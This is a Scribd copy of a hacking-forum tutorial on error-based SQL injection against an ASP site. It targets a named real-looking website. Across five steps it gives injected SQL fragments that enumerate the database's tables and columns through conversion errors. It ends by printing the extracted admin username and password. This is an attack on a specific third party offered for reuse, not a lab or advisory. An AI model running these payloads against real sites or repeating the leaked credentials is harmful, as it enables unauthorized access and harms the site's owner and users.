Scribd
Upload
7 views5 pages

SQL Injection Tutorial for ASP Sites

The document provides a tutorial on SQL injection on an ASP site. It details 5 steps to find the admin username and password for the vulnerable site http://pothys.com/ImageDisplay.aspx?Id=1535. First, it determines the site is vulnerable to SQL injection. Then it finds the column names, table names like "AdminMaster", column names in that table like "Admin_name" and "Admin_password", and finally the actual admin username of "admin" and password of "pothys!@#".

Uploaded by

Aquino
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
7 views5 pages

SQL Injection Tutorial for ASP Sites

The document provides a tutorial on SQL injection on an ASP site. It details 5 steps to find the admin username and password for the vulnerable site http://pothys.com/ImageDisplay.aspx?Id=1535. First, it determines the site is vulnerable to SQL injection. Then it finds the column names, table names like "AdminMaster", column names in that table like "Admin_name" and "Admin_password", and finally the actual admin username of "admin" and password of "pothys!@#".

Uploaded by

Aquino
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

There are very few tutorials that explain in detail SQL Injection on an ASP site.

So that's the
reason behind this tutorial. Please leave your comments. If you like the thread, pls STAR the
thread and rep me.

Vulnerable link:
Code:
[Link]

Step 1:
Code:
[Link] order by 1--

The above query gives a "Page not Found" error. Hence we use the following link for rest of the
queries:
Code:
[Link]

Step 2: Finding the column names


Code:
[Link] having 1=1

Spoiler (Click to Hide)

The selected text represents the column names.


Step 3: Finding the table names
Code:
[Link] and 1=convert(int,(select top 1
table_name from information_schema.tables))

Spoiler (Click to Hide)

Here the highlighted text is the first table in the database. But we are interested in finding the
admin table. So lets try to find the next table in the database.
So the next query is:
Code:
[Link] and 1=convert(int,(select top 1
table_name from information_schema.tables where table_name not in
('Tab_FinalOrder')))

Spoiler (Click to Hide)

So the name of the admin table is "AdminMaster"


Step 4: To find the columns in "AdminMaster" table
Code:
[Link] and 1=convert(int,(select top 1
column_name from information_schema.columns where table_name =
'AdminMaster'))

Code:

[Link] and 1=convert(int,(select top 1


column_name from information_schema.columns where table_name = 'AdminMaster'
and column_name not in ('Admin_name')))

Column names: "Admin_name" and "Admin_password" (view the spoilers)


Spoiler (Click to Hide)

Spoiler (Click to Hide)

Step 5: Finding the username and password


Code:
[Link] and 1=convert(int,(select top 1
Admin_name from AdminMaster))

Code:
[Link] and 1=convert(int,(select top 1
Admin_password from AdminMaster))

Username: admin
Password: pothys!@#
Spoiler (Click to Hide)

Spoiler (Click to Hide)

You might also like